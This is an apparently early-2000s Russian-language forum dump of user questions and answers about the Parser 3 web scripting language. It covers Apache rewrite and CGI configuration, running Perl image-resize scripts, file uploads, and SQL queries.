"3361","1. Проверь ScriptAlias в настройках сервера.\
2. Почему бы не попробовать ^file::exec[images.pl;img=1.jpg]?"
"3362","сейчас попробовал - все работает: директория создается, файл сохраняется.\
как ^form:file_field.sava[], так и ^table.save[]... в заведомо несуществующие директории...\
что-то у тебя не так - что именно, понять не могу.\
\
а то, что он перезаписывается - это так и должно быть - тут надо пользоваться\
^if(-f \"file_name\"){изменить имя}{сохранить как есть}"
"3363","... open_connect и  close_connect (а заодно и проверку открыто ли соединение ). Я вное указание порой очень необходимо, а вставка одного коннекта на страницу это проблемы со скобками и вообще неудобно (мнение конечно субъективное...)."
"3364","... не переписывая все методы в файле класса, а только дописав нужные методы (вроде remove, insert, update.\
Что делает @BASE, а не всё понятно."
"3365","Нашёл, поправил, всё работает. Извините..."
"3366","Основная проблема, как мне кажется (если не прав, пусть поправит PAF) в том, что:\
1. Обращение к столбцу $table.column\
2. Обращение к методу ^table.method\
Допустим унаследовали, создали метод remove...\
А теперь зовем ^table.remove\
Что это? Метод или ошибка при обращении к столбцу?\
А если ^table.remove.int[]? Что преобразуем в int - результат работы метода или столбец?\
\
Понятно, можно посмотреть на определение класса, решить, что такое remove, но у парсера нет возможности делать несколько проходов по тексту с целью снача определить ху_из_ху, а потом (во втором проходе) ыполнить собственно код. А за один проход очень много ресурсов на это надо.\
\
Как вариант можно поступить так:\
Создать свой класс, в котором базовой переменной будет что-то с типом table, а все методы будут обращаться к это внутренней переменной. Допустим:\
[code]\
@CLASS\
myclass\
\
@create[mode;data]\
^if($mode eq \"nameless\"){\
$myclassvar[^table::create[nameless]{$data}]\
}{\
$myclassvar[^table::create{$data}]\
}\
\
@item[name]\
$myclassvar.$name\
\
@menu[code]\
^myclassvar.menu{^process{$code}}\
[/code]\
и на странице\
[code]\
@USE\
myclass.class\
\
@main[]\
$mytable[^myclass::create[;aaa -> bbb\
1 -> 2\
3 -> 4]]\
<html><head />\
<body>\
^mytable.menu{^mytable.item[aaa]-^mytable.item[bbb]}\
</body>\
</html>\
[/code]\
что в итоге даст 1-2 3-4..."
"3367","open_connect это и есть ^connect\
Проверка \"открыт ли\" - автоматическая ;-)\
close_connect не нужен, т.к. при завершении CGI все коннекты будут закрыты самим парсером, а в случае модуля - они протухнут достаточно быстро. Да и ресурсов открытый коннект кушает не очень много - не к сотням не РАЗНЫХ баз ты коннектишься в пределах одной страницы ;-)\
Один connect на страницу - одна пара скобок, 2 - 2 пары, 100 - 100 пар. Где проще запутаться?\
\
Встречный вопрос: а зачем явно закрывать коннект к базе?"
"3368","Чуть было не написал \"Говно вопрос\", но вспомнил историю от Темы, когда он ответил так кому-то на вопрос \"можно ли некую вешь с его сайта использовоть у себя со ссылкой на автора?\", а задававший обиделся :("
"3369","Есть машинка под FreeBSD c Апачем и есть несколько пользователей как установить на нее Парсер чтоб пользователи могли его юзать в своих веб серверах"
"3370","Если у файлов, создаваемых пользователями, и того, от кого запущен Апач одна группа - проблем не будет\
Иначе, или переправляй группы или собирай из исходников с ключем --disable-foreign-group-files"
"3373","я бы мог не отвечать, потому что ты после того как сядешь в лужу \
обычно мессаги стираешь, но я отвечу...\
\
> Давай посмотрим по пунктам:\
> 1. \"Правильный\" файл с неправильным заголовком по определению \
> НЕ правильный.\
\
твои знания о формате файла лежат в пределах шести первых байт заголовка,\
причём ты их сам выдумал, но таким образом ты не можешь отличить битый файл \
от не битого, и будешь принимать любой файл который соответствует твоему \
понятию о его формате, но когда нибудь ты встретишь то что будет \
совершенно нормальный файл, который у тебя не будет загружаться \
твоим админом.\
\
> 2. Расширение для файла имеет исключительно визуальный смысл. \
> Многим системам нет никакого дела до расширения файла.\
> Правильные системы так вообще хранят всю информацю о типе файла \
> и софте для работы с ним в самом файле. \
> И не надо путать расширение как таковое с привязкой MIME-типа \
> к некоторой последовательности символов в конце названия файла.\
> Попробуй переименовать d-t.gif в d-t.pdf, а потом отдать его по \
> HTTP. Прощай, Acrobat Reader.\
\
прикольно, и какой ты выход видишь из этой ситуации?\
только ты забыл упомянуть такие форматы файлов как xsl, doc,\
avi, mpeg, mov, mp3 (список можно продолжить) которые не \
имеют очевидных заголовков, эти типы файлов нельзя определить \
визуально найдя какие-то три-четыре буквы в заголовке... \
или эти типы файлов будут запрещены в твоей системе?\
\
и много ты правильных систем написал?\
\
> 3. Если ты не видишь реальной пользы - не значит, что ее нет \
> совсем.\
\
например в чём она?\
\
> 4. Про сомнительность: покажи GIF, который \"не начинается\" \
> с букв GIF; JPeg, в котором 7-10 символы не JFIF; TIFF, \
> который не начинается с MM и т.д.?\
\
ну конечно с gif'ом всё нормально, однако для jpeg'a JFIF \
не является определяющим каким-то, определяющим может быть \
такое начало 0xff, 0xd8, 0xff, а JFIF вообще может не быть, и я \
могу показать такие файлы и таких файлов как ни странно хватает, \
и (внимание) у tiff'a вместо MM может быть II, но ты понятное \
дело с таким ещё не встречался.\
\
в общем нужно сначала думать, а потом уже советовать кому-то что-то.\
\
"
"3376","Здравстуйте, я понимаю как это звучит, и какие чувства вызывают сообщения \
типа ничего не работает, но действительно не понимаю.\
\
Дистрибутив parser в виде cgi скрипта при запуске  (win98, apache 1.3.14) выдает сообщение\
\
файл библиотеки LIBGLIB-1.3-11.DLL не найден\
\
Все по инструкции выполнял, man раза три перечитал, что происходит понять не могу. Помогите. Спасибо."
"3377","Почему бы не попробовать ^file::exec[images.pl;img=1.jpg]?\
\
Так я пробовал, и получается что я пытаюсь его запустить с /htdocs\
хотя та же самая операция из-под Парсер 2 идет нормально без проблем ^exec[/cgi-bin/images.pl;img=1.jpg]"
"3379","а на самом деле пофиг куда, главное чтобы пути к ним в конфигах были правильные."
"3380","Я смотрел у тебя на сайте - через переменную. Но это, ИМХО, как-то коряво получается :-(\
\
Что сепорт на нет.ру говорит?"
"3381","так что приходится через переменную, но я не парюсь особо по этому поводу, привык уже :)"
"3382","прочитай её, многое поймешь"
"3383","Берем parser3.cgi и в редакторе меняем в нем все строчки DOCUMENT_ROOT на DOCUMENT_SITE (это в трех местах в версии без хтмл). В .htaccess вводим SetEnv DOCUMENT_SITE /users/e/g/egoroff.spb.ru/html/www\
\
Ну и все - телемаркет :-)"
"3385","Тут это не особо кому интересно..\
\
Look! http://no-cache.forum.net.ru/viewtopic.php4?topic=291&forum=6&3"
"3387","-"
"3388","На самом деле это всего-лишь еще одно извращение, которое иногда - но бывает нужно (мне пока не было это нужно).\
\
Я думаю, если делать это в административном интерфейса - то оно там на фиг не нужно, т.к. подразумевается, что работают с админом более менее подготовленные люди, и наличие preview в нем-же рядышком еще более уменьшает риск ошибки (битого файла).\
\
А вот если посетители (пусть и авторизированые) могут что-то куда-то аплоадить (замечу, что на мой взгляд это ужасная идея), то хотелось бы иметь тут дополнительную защиту от дурака/ломальщика...\
\
Так что вот..."
"3390","Хотя это к нахождению запускаемого файла не относится, но пускать надо так:\
\
^file::exec[images.pl;;img=1.jpg]\
\
кажется :)\
парвый параметр - энвайроменты, например:\
^file::exec[images.pl;$.MYENV[1.jpg]]"
"3391","неправильный он какой-то. Сбивает с толку то, что сообщения выводятся ввиде простого списка, а не дерева как тут."
"3392","под Линуксом установлен парсер как СГИ. сейчас оказалось, что он не видит конфига для сайта. файл .htaccess вот такой:\
------------------\
AddHandler parsed-html .html\
SetEnv HTTP_PARSER_SITE_CONFIG /home/www/lalala/webmaster.conf\
<Files ~ \"\\.(p|cfg|conf)$\">\
 Order allow,deny\
 Deny from all\
</Files>\
-------------------\
\
такое впечатление, что он не видит SetEnv."
"3393","Я попробовал, не выходит, он даже до скрипта не доходит выводит ошибку:\
/home/design/htdocs/images.pl\
\
что мол нет такого дериктория..."
"3394","а не на ковыряние в бинарных байтах. \
\
[b]пусть каждый занимается своим делом.[/b]\
\
скажем, в unix есть утилита file:\
[code]\
[paf@six ~]$ file image.jpg\
image.jpg:      JPEG file\
[paf@six ~]$ mv image.jpg image.zzz\
[paf@six ~]$ file image.zzz\
image.hren:     JPEG file\
[/code]\
\
для каких-то целей хватит её.\
для каких не хватит, надо найти/использовать другую."
"3396","это что-ли? право, Bitmag, полночи можно заняться чем-нибудь ещё.\
\
[code]\
$str[1a3a5a55a22a3a41a2]\
$found[^str.match[(\\d+^$)]]\
$found.1\
[/code]"
"3397","/cgi-bin виртуальный путь, parser о нём ничего не знает.\
в веб-пространстве такого каталога нет, получаете подробное сообщение об ошибке.\
\
если ещё не поняли, если не хотите перемещать скрипт, его в вашем случае надо запускать так: \
[code]^file::exec[/../cgi-bin/script;[/code]\
\
но почитайте в документации про exec что пишем про это."
"3398","Я указал просто на еще одну ошибку, на которую вы наступили-бы после того, как файл нашелся."
"3399","[quot]\
Parser 3.0 — простой и удобный объектно-ориентированный язык, позволяющий быстро создавать хорошие сайты.\
[/quot]\
\
А в хороших сайтах очень часто встечается не только текст, но и изображения, а-ля gif-jpg-png :)\
\
Ну ладно, это лирическое отступление, дискуссию про мое предложение продолжаем почтой :)))"
"3400","так что, проверь конфигурацию Apache и если надо запусти его"
"3402","png/jpg/gif поддержаны в image::measure. если не нравится, что он смотрит на расширение имени файла… ну дак веб сервер тоже по умолчанию на него смотрит, когда выдает browser'у content-type."
"3403","Изучаем парсер (ОС Win98)\
начал с примеров из документации\
\
структура сайта\
/www/www1 - корень сайта\
  index.html\
  auto.p\
/www/www1/news\
  index.html\
/www/www1/contacts\
  index.html\
/www/www1/price\
  index.html\
\
 по первым 3 урокам все прекрасно работает\
\
но как только в каталог news я положил файл auto.p, где определен\
метод @calendar\
\
при обращении http://localhost/news/\
выдается пустая страница\
\
если просто вызвать ^calendar[] то все Ок"
"3404","Это определение:\
[code]\
@calendar[]\
...\
[/code]\
а это вызов:\
[code]\
^calendar[]\
[/code]\
не путай их"
"3405","\
Задача такова - на запрос документа /aaa/bbb/ccc.html делать редирект на index.html, дальше средствами  Parser разбирать uri, строить страницу и отдавать ее бровзеру.\
\
В httpd.conf \
\
[code]\
    RewriteRule !\\.(gif|jpg|png|css)$ /index.html [NS]\
    RewriteLog \"c:/public_html/tpp/rewrite.log\"\
    RewriteLogLevel 2\
[/code]\
\
В результате Apache зацикливается. Вот кусок из rewrite.log\
\
[code]\
192.168.1.10 - - [01/Jul/2002:16:21:53 +0600] [tpp/sid#527188][rid#5c2ab0/initial] (2) init rewrite engine with requested uri /eng\
192.168.1.10 - - [01/Jul/2002:16:21:53 +0600] [tpp/sid#527188][rid#5c2ab0/initial] (2) rewrite /eng -> /index.html\
192.168.1.10 - - [01/Jul/2002:16:21:53 +0600] [tpp/sid#527188][rid#5c2ab0/initial] (2) local path result: /index.html\
192.168.1.10 - - [01/Jul/2002:16:21:53 +0600] [tpp/sid#527188][rid#5c2ab0/initial] (2) prefixed with document_root to c:/public_html/tpp/index.html\
192.168.1.10 - - [01/Jul/2002:16:21:53 +0600] [tpp/sid#527188][rid#5c2ab0/initial] (1) go-ahead with c:/public_html/tpp/index.html [OK]\
192.168.1.10 - - [01/Jul/2002:16:21:53 +0600] [tpp/sid#527188][rid#5c3c50/initial/redir#1] (2) init rewrite engine with requested uri /cgi-bin/parser3.exe/eng\
192.168.1.10 - - [01/Jul/2002:16:21:53 +0600] [tpp/sid#527188][rid#5c3c50/initial/redir#1] (2) rewrite /cgi-bin/parser3.exe/eng -> /index.html\
192.168.1.10 - - [01/Jul/2002:16:21:53 +0600] [tpp/sid#527188][rid#5c3c50/initial/redir#1] (2) local path result: /index.html\
192.168.1.10 - - [01/Jul/2002:16:21:53 +0600] [tpp/sid#527188][rid#5c3c50/initial/redir#1] (2) prefixed with document_root to c:/public_html/tpp/index.html\
192.168.1.10 - - [01/Jul/2002:16:21:53 +0600] [tpp/sid#527188][rid#5c3c50/initial/redir#1] (1) go-ahead with c:/public_html/tpp/index.html [OK]\
192.168.1.10 - - [01/Jul/2002:16:21:53 +0600] [tpp/sid#527188][rid#5c0a40/initial/redir#2] (2) init rewrite engine with requested uri /cgi-bin/parser3.exe/cgi-bin/parser3.exe/eng\
192.168.1.10 - - [01/Jul/2002:16:21:53 +0600] [tpp/sid#527188][rid#5c0a40/initial/redir#2] (2) rewrite /cgi-bin/parser3.exe/cgi-bin/parser3.exe/eng -> /index.html\
192.168.1.10 - - [01/Jul/2002:16:21:53 +0600] [tpp/sid#527188][rid#5c0a40/initial/redir#2] (2) local path result: /index.html\
...\
[/code]\
\
Кто-нибудь с этим сталкивался? :( Help, pls."
"3406","Возможно, RewriteRule (\\.+)!(gif|jpg|png|css)$ /index.html?$1 [NS]"
"3407","Как в P3 сделать такую конструкцию - ^item[pic].gif\
\
$table_name.pic.gif - естественно не работает."
"3409","[code]\
RewriteCond %{REQUEST_URI} !^/404\
RewriteCond %{REQUEST_URI} !(gif|jpg|js|vb|css|exe|zip|rar|pdf|doc|xls|ppt|swf|ipx|txt|xslt|xsl|tif|eps|tiff|ico|ent|chm|cfm|gz|asf|mmf)$\
RewriteRule (.*)  /index.html?request=$1 [L,QSA]\
[/code]"
"3411","а ?"
"3412","Как прозрел и я.\
\
Преобразование \"плоского\" XML в древовидный.\
С помощью этого форум пишется раз-два.\
И код в примере \"пишем форум\" сокращается до минимума.\
Исходный XML :\
[code]\
<?xml version=\"1.0\" encoding=\"windows-1251\"?>\
<collection>\
	<item text=\"test5\" id=\"5\" pid=\"3\"/>\
	<item text=\"test1\" id=\"1\" pid=\"0\"/>\
	<item text=\"test2\" id=\"2\" pid=\"0\"/>\
	<item text=\"test3\" id=\"3\" pid=\"1\"/>\
	<item text=\"test4\" id=\"4\" pid=\"2\"/>\
</collection>\
[/code]\
\
Наш XSL :\
[code]\
<?xml version=\"1.0\" encoding=\"windows-1251\"?>\
<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\
<xsl:output method=\"xml\" encoding=\"windows-1251\"/>\
	<xsl:param name=\"topid\" select=\"0\"/>\
\
     <xsl:template match=\"collection\">\
     <test>\
             <xsl:value-of select=\".\"/>\
             <xsl:apply-templates select=\"item[@pid=$topid]\">\
				<xsl:with-param name=\"x\" select=\"1\"/>\
			 </xsl:apply-templates>\
	</test>\
     </xsl:template>\
\
     <xsl:template match=\"item\">\
		<xsl:param name=\"x\"/>\
         <item id=\"{@id}\" name=\"{@text}\" pid=\"{@pid}\" depth=\"{$x}\">\
            <xsl:apply-templates select=\"//item[@pid=current()/@id]\">\
				<xsl:with-param name=\"x\" select=\"$x+1\"/>\
			</xsl:apply-templates>\
         </item>\
\
     </xsl:template>\
\
</xsl:stylesheet>\
[/code]\
\
Получаем :\
[code]\
  <?xml version=\"1.0\" encoding=\"windows-1251\" ?> \
 <test>\
 <item id=\"1\" name=\"test1\" pid=\"0\" depth=\"1\">\
        <item id=\"3\" name=\"test3\" pid=\"1\" depth=\"2\">\
             <item id=\"5\" name=\"test5\" pid=\"3\" depth=\"3\" /> \
         </item>\
  </item>\
  <item id=\"2\" name=\"test2\" pid=\"0\" depth=\"1\">\
         <item id=\"4\" name=\"test4\" pid=\"2\" depth=\"2\" /> \
  </item>\
  </test>\
[/code]"
"3413","Обычно, надо заворачивать только несуществующие файлы. Тогда\
[code]\
RewriteEngine on\
RewriteCond %{REQUEST_FILENAME} !-d\
RewriteCond %{REQUEST_FILENAME} !-f\
RewriteRule (.+) /index.html [l]\
[/code]"
"3414","причем ресурсов (сервера) на это уйдет заметно меньше. А XSL получился интересный (с академической точки зрения). ;)"
"3415","спасибо"
"3416","в чем дело ?"
"3417","Просто PAF уже ушел... А кроме него, боюсь, никто помочь не сможет...\
\
К слову, как ты добился этого от парсера? ;-) Давай уж по полной: начиная от системы, кончая кодом, на котором все валится...\
\
ЗЫ: Я такую ошибку первый раз вижу."
"3418","Я наверное не совсем внятно обрисовал ситуацию.\
Документа /aaa/bbb/ccc не существует. Есть только /index.html- по сути единственный шаблон страницы на весь веб сайт. Все ссылки строятся таким образом - например /news/2002/07/01/. В шаблоне разбираем uri и вызываем метод news_method из auto.p который в свою очередь может использовать пользовательский класс news_class.\
Таким образом сайт это один скрипт в index.html и набор пользовательских методов и классов."
"3419","Это скорее я неправильно выразился. ;-)\
Ты ведь что делаешь: проверяешь, не jpg/gif ли, и переадресуешь.\
Я предлагаю вариант, когда переадресуется все, что \"не файл\" и \"не директория\". Вот и все..."
"3420","Возник в случае ^string::sql{SELECT ......}[$.default{0}] когда сама таблица в базе оказалась поврежденной после отключения электричества :). После того,как таблицу поправил, все стало нормально ... Хорошо бы про коды ошибок поподробнее !"
"3421","Т.е. читать файл до определенной подстроки. Как в [i]perl[/i]?"
"3422","Apache 1.3.22, в httpd.conf прописано\
[b]ErrorDocument 404 /404.html[/b]\
\
Если я обращаюсь к несуществующему файлу '/file.ext' — получаю Unhandled Exception\
\
Если я обращаюсь к несуществующему файлу '/folder/file.ext' — получаю свой 404.html\
\
Why?\
"
"3423","компилированного XSL,\
так что мы можем поспорить ...\
\
А то что код будет намного компактнее - это факт !\
\
Просто это еще один изящный способ построения деревьев,\
а полезен он тем, что именно такие \"plain\" данные идут от\
SQL серверов."
"3424","Только что проверил $env:DOCUMENT_ROOT.\
Выдает /users/a/b/abcde.inc.ru/html/ !\
(прошу не считать за рекламу :-)"
"3425","А будут ли выкладываться парсеровские исходники форума? Просто очень интересно как все это реализовано на парсере."
"3426","user-request(1): '/pub/home/vkc59/htdocs/book/book.html' parser reading files of foreign group disabled [recompile parser without --disable-foreign-group-files configure option], actual filename '/pub/home/vkc59/htdocs/book/book.html'  type: parser.runtime\
\
Что это он пишет? Примерно я понимаю, а где подправить то?"
"3427","Прочитал о Вашей разработке, захотелось его применить.\
Но разработки проводятся на Apach под WIN, а хостинг под *nix Apach, что то надо добовлять или язык универсален?"
"3428","Пишу так\
\
$myphoto[^image::measure[dtrack.gif]] \
^myphoto.html[ \
   $.border[1] \
   $.alt[Коментарий] \
]\
\
Все прекрасно, если файл рисунка есть\
а если его нет?\
выводиться сообщение об ошибке\
\
в обычном HTML файле, если картинке нет на диске, то броузер выводит квадрат с крестом\
Что теперь проверять всегда есть файл или нет?\
Выход есть?\
"
"3429","вот те линки:\
http://serge.design.ru/article/?2002-06-14 — про отображение дерева с помощью XML\
http://www.parser.ru/examples/trees/ — про построение деревьев средствами парсера 3\
\
нужно внимательно прочитать, немного подумать и быстро реализовать."
"3430","а скажем для /html/www по прежнему надо будет с переменной запариваться"
"3433","проверять наличие файла на диске и если его нет то ничего не делать или подставлять другую картинку"
"3434","нужно собрать парсер с опцией --disable-foreign-group-files"
"3436","чтобы написали маленький урок по match, а то как-то без примера сложновато с ним разобраться?"
"3437","Я закачиваю в одной форме рисунок и хочу изменить его размер чтобы создать превью.\
Превью я формирую Перл скриптом...\
Но вот какая загвоздка, файл с картинкой не находится если запускать все из одного файла и сохранение и ресайз. А ежели к примеру делать редирект на другую страничку и уже с нее делать ресайз то тогда все находится, но хотелось бы все делать за один проход. Как это можно реализовать."
"3438","И ещё что-бы код работал и на MSSQL и на MySQL? Или каждому свой код нужен?\
Я щас пробую что-то вроде:\
[code]\
^void:sql{SELECT @n_count:=COUNT(n_id) FROM news)\
[/code]\
И оно не работает, но даже если заработало бы, непонятно, как потом это дело присвоить переменной [i]$count[/i]. Вот так - \
[code]\
^count:sql{select @n_count}\
[/code]\
???"
"3440","Ведь правильный вызов - ^string:sql{SELECT ......}[$.default{0}] и возвращает он вроде не таблицу?"
"3441","$n_count(^int:sql{SELECT COUNT(n_id) FROM news})"
"3444","С матчем все просто. Достаточно посмотреть один из примеров на данном сайте. Вот."
"3448","И не только прочитал но и проверял, пробовал...\
\
Так что думаю, тут парой примеров не обойтись...\
\
Вот те ссылочка для начала (rus):\
http://www.webclub.ru/materials/perl/regexp.html\
"
"3451","Возвращает строку, но лезет то в таблицу. Отсюда делаем вывод, что Got error - относится к траблу в самой mySQL. Имхо."
"3452","После отключения кэширования ISAPI вылезла следующая проблемка:\
\
07:23:26 ip.ad.dd.ress - GET /some/parsed-file.html id=12344Out-of-process+ISAPI+extension+has+exceeded+crash+limit. 502 0 Mozilla/4.0+(compatible;+MSIE+5.01;+Windows+NT+5.0) hotlog=1;+ http://powered-by-parser/some/parsed-file.html?id=12344\
\
никто с таким не встечался?"
"3453","Что Парсер потеряет в этом случае? Все ли функции будут работать?"
"3454","Подробнее читай http://www.parser.ru/forum/?id=1239"
"3455","Ну, для того, чтобы написать обработку введенных данных и другие простые експы еще до выхода твоей статьи мне хватило тех данных, что вы разместили в мануале. Вот."
"3456","Спасибо. Сегодня попробую установить."
"3457","А сразу сказать, что это при sql-запросе происходит было нельзя?!\
\
Открывай мануал по MySQL и читай как рипейрить свою таблицу - плохо ей...\
\
Вот кусок их доки:\
[quote]\
126 = Index file is crashed / Wrong file format\
127 = Record-file is crashed\
132 = Old database file\
134 = Record was already deleted (or record file crashed)\
135 = No more room in record file\
136 = No more room in index file\
141 = Duplicate unique key or constraint on write or update\
144 = Table is crashed and last repair failed\
145 = Table was marked as crashed and should be repaired\
[/quote]"
"3458","Кусок из формы:\
[code]\
^if(def $form:pict){$file::load[binary;$form:pict] ^pict.save[/news/images/hirez/${schet}.jpg] $f[^file::exec[/../cgi-bin/images.pl;;img=${schet}.jpg]] $f.text}\
[/code]\
\
Внутри скрипта:\
[code]\
#!/usr/bin/perl\
\
my $dst_path=\"/home/design/htdocs/news/images\";\
my $src_path=\"/home/design/htdocs/news/images/hirez\";\
\
use Image::Magick;\
use CGI qw/:standard/;\
\
$in_img = param('img');\
$in_img =~ s/\\.\\.//g;\
$in_img =~ s/[^\\d\\w\\_\\-\\.]//g;\
\
print \"Content-type: text/plain\\n\\n\";\
if (! -f \"$src_path/$in_img\"){\
    print \"Error: File $in_img not found\\n\";\
    exit;\
}\
my($q, $x);\
$q = Image::Magick->new;\
$x = $q->Read(\"$src_path/$in_img\");\
print \"$x\" if \"$x\";\
$x = $q->Scale(width=>100, height=>100);\
print \"$x\" if \"$x\";\
$x = $q->Write(\"$dst_path/$in_img\");\
print \"Write: $x\" if \"$x\";\
\
print \"Resize complite...\\n\";\
[/code]\
\
Вот собственно и все."
"3459","Можно загрузить файл, а потом ^filevar.text.lsplit[] и взять первый piece"
"3460","1. Вообще-то это нормально - проверять что прислал пользователь.\
2. Есть очень много людей которые из кожи вон вылезут, но постараются прислать что-то неправильное (самое страшное начнется, когда это сделают нечаяно)\
3. Об алгоритме анализа заголовков речь кажется вообще не идет, вопрос достаточно узкий и касается стандарта JPEG, который идентифицируется как JFIF.\
4. Проблема в том, что парсер обрубает \"строку\" на символе 0x00,\
а не в том, кто сколько и каких форматов напридумал."
"3462","При желании можно разбавить, добавить, убавить тот код,\
который хочется. Можно сразу же и делать обработку <item> и выдавать дерево, просто этот код наиболее универсален.\
\
Никто не спорит, что можно и парсером html выдавать :)\
"
"3463","[code]\
^if(def $form:pict){\
	$file::load[binary;$form:pict]\
	^pict.save[/news/images/hirez/${schet}.jpg]\
	$f[^file::exec[/../cgi-bin/images.pl;;img=${schet}.jpg]]\
	$f.text\
}\
[/code]\
\
что такое $file::load[binary;$form:pict]?\
\
я так понимаю, надо как-нить так:\
^form:pict.save[/news/images/hirez/${schet}.jpg]\
\
Вроде должно работать..."
"3464","Вот код сохранения из формы:\
[code]\
^if(def $form:pict){^form:pict.save[binary;/news/images/hirez/${schet}.jpg] $f[^file::exec[/../cgi-bin/images.pl;;img=1.jpg]] $f.text}\
[/code]"
"3467","Да я чето не то написал, вот он:\
^if(def $form:pict){^form:pict.save[binary;/news/images/hirez/${schet}.jpg] $f[^file::exec[/../cgi-bin/images.pl;;img=1.jpg]] $f.text}\
\
И вот в такой конструкции Перл скрипт не срабатывает, хотя по сути файл уже должен был сохраниться."
"3468","сохраняешь как ${schet}.jpg, а скрипту говоришь 1.jpg?\
али ${schet} всегда равен 1?"
"3469","И как скрипт ругается? \
\
-не находит файла?\
-не приходит параметр?\
\
-попробовать в скрипте idle сделать, мож гонки какие (для выяснения, не для того, чтобы ТАК оставить в работе)"
"3470","Да это погоды не делает, хоть так, хоть эдак, фишка в том, что после того как выполнена функция сохранения файла на сервер, его там еще нет, он где-то в памяти болтается и только после редиректа он появляется на серваке. Как вот это обойти за один проход, чтобы и сохранял и ресайз из скрипта делал."
"3471","Не находит файл, только что объяснил для Лужниковского"
"3473","Дело в том, что когда зовешь /file.ext - срабатывает сразу Handler, а когда зовешь /folder/file.ext - срабатывает сначала 404, ибо директории /folder/ нету, а была бы - получил бы exception. Такова уж работа Апача...\
\
Впиши в @UNHADLED_EXCEPTION проверку\
[code]\
^if($exception.type eq file.missing){\
    404 code here\
}{\
    not 404 code here\
}\
[/code]\
\
Лучше даже объявить @404[], который буде вызываться во всех нужных случаях, а в нем написать: \"такой URL не найден\""
"3474","обычно CGI"
"3477","Нет, не про то речь.\
Просто вы молодцы в мануале дали самый необходимый минимум для старта. Лучше и придумать нельзя. Хотя это только мое мнение, вон люди просят, значит не все так гладко..."
"3478","например денег. Ну а если серъёзно то конечно про regexp'ы можно написать как в доке по 2-му парсеру, хотя в принципе и существующей доки достаточно, и это не цель доки по парсеру, подробно рассказывать о них."
"3479","А без проверки наличия файла значит никак?"
"3482","[code]\
@getxml[sql]\
$tbl[^table::sql{$sql}]\
$cols[^tbl.columns[]]\
\
<collection>\
^tbl.menu{\
	<row>\
	^cols.menu{\
		$cell[$cols.column]\
		<$cell>$tbl.$cell</$cell>\
		}\
	</row>\
}\
</collection>\
[/code]"
"3484","я не очень понял претензии, что квадрат с крестом это здорово?\
и ошибка на отсутствие файла — неправильная?\
\
по делу:\
можно не проверять отсутствие до попытки measure, а обрабатывать ситуацию неудачной попытки measure:\
[code]\
^try{\
    …ваш код…\
}{\
    ^if(exception.type eq file.missing){\
        $exception.handled(1)\
        …код, когда файла нет…\
    }\
}\
[/code]"
"3485","евгений, файл появляется на диске сразу после ].\
тут вы чего-то не понимаете.\
\
что до imagemagic, вполне можно обойтись без лишней perl прослойки, запуская ^file::exec[/../bin/convert;;нужные;параметры].\
см. http://www.imagemagick.org/www/convert.html\
\
меньше прослоек: меньше мест ошибиться."
"3486","если не сложно, все подробности о том, как воспроизвести, почтой."
"3487","Меня тут ткнули лицом в ... в применении к count() все будет нормально - ошибки не будет, 0 вернется всегда от SQL.\
\
Я наступал на это кажется с max() или min() в итоге пришел к выводу, что при попытке достать ЧИСЛО всегда надо писать $.default{x}...\
Т.к. результат МОЖЕТ отсутствовать и парсер ругнется.\
\
Со строкой и таблицей получше, хотя я и при доставании строки ставлю $.default{}...\
"
"3488","В поле field таблицы test хранятся следующие данные\
[code]\
параметр 1>>значение\
gfhfvtnh 2>>значение\
[/code]\
>> - табуляция\
\
Делаю\
[code]\
$info[^table::sql{select field from test}\
$description[^table::create{param>>value\
$info.field}]\
^if(def $info){\
^info.menu{$description.param : $description.value<br>}\
}\
[/code]\
Выводит\
[code]\
test>>test\
test>>test : <br>\
[/code]\
Хотя по замыслу должен выводить\
[code]\
test: test<br>\
test: test<br>\
[/code]\
Как бы это выпрямить?\
\
Заранее спасибо."
"3490","[code]\
параметр 1>>значение\
gfhfvtnh 2>>значение\
[/code]\
это одна запись (хотя мало что меняется)"
"3491","ты перебираешь строки таблицы $info но внутри меню берешь данные из $description. По идее ты должен последнюю менюшить. Хотя твой код на меня тоску наводит, какой-то он странноватый, даже не знаю почему."
"3492","что ты хочешь сказать этой строкой:\
[code]\
$description[^table::create{param>>value\
$info.field}]\
[/code]\
\
Эта строка создает именованую таблиицу description, с именами столбцов param и value и содержащую одну запись, у которой в param лежит значение $info.field, а в value - пусто.\
\
Я ничего не пропустил?\
\
Далее ты менюшишь по таблице info (я так и не понял, много-ли в ней записей) и внутри меню выводишь... значения таблицы $description... Бррр...\
\
Откуда текст \"test\" - я не понял.\
\
И вообще, я весь замысел так и не понял."
"3493","что таким образом легко готовить описание чего-либо в текстовом файле ЗАРАНЕЕ, а только потом помещать в БД."
"3494","Это спасает от большого числа ошибок.\
\
И делает это уже автопилот. :)"
"3496","Ты хотел запихнуть в description данные, которые вернулись тебе из таблицы test как таблицу?\
\
Если да, то тебе надо поставить ^taint[as-is][...]\
Тогда в description у тебя будет содержаться две строки:\
[code]\
параметр 1>>значение\
gfhfvtnh 2>>значение\
[/code]\
\
Но это как-то через не то место...\
\
P.S. Ну и менюшить нужную таблицу надо...\
"
"3497","Если бы я мог, то так бы и сделал, но мне админ говорит что это прога иксы требует и поэтому он ее ставить не будет.\
Мне итак пришлось Перл осваивать, ведь не зря же я старася...\
Но дело не в этом. \
Так и так этот скрипт выполняет ровно то же что и convert, внутри скрипта стоит проверка на существование файла. Если его нет то выдается надпись file not found.\
Дак вот, когда мы выполняем строку которую я приводил выше, то есть сохраняем файл, а потом его преобразуем, то выдается ошибка об отсутствии файла. Следовательно он сохраняется только после того как отработает Парсер для данной страницы.\
Ошибки здесь быть не может, потому как я пробовал этот же скрипт и на 2-м парсере, там та же история.\
И все же вопрос, можно ли это как-то обойти?"
"3498","Раньше (на PARSER 2 и в отсутствии БД) каталог товаров я хранил в текстовых файлах. Описание для каждого товара хранилось в отдельном файле. При обращении к странице с описанием товара в таблицу (в контекст) грузился требуемый файл и затем ^menu[] его.\
Хотелось такой трюк и с БД сотворить. Наверное придется решать по другому. Например, хранить описание на товар не в одной записи  таблицы, а в отдельной таблице БД.\
\
Спасибо за участие."
"3499","для MS SQL например это делает DTS"
"3500","это \"следовательно\" ошибочно. файл сохраняется сразу.\
если он не находится, значит ищется не там. или записывается не тогда, когда вы думаете.\
\
уверен, ошибка тривиальна, рекомендую отойти от клавиатуры ненадолго."
"3501","скажите администратору, что есть и без иксов, пусть снимет ручник."
"3505","если я правильно догадываюсь, в колонке базе лежит такое:\
[code]\
xxx>>yyy\
[/code]\
\
где \">>\" == знак tab.\
и хочется это превратить в table.\
\
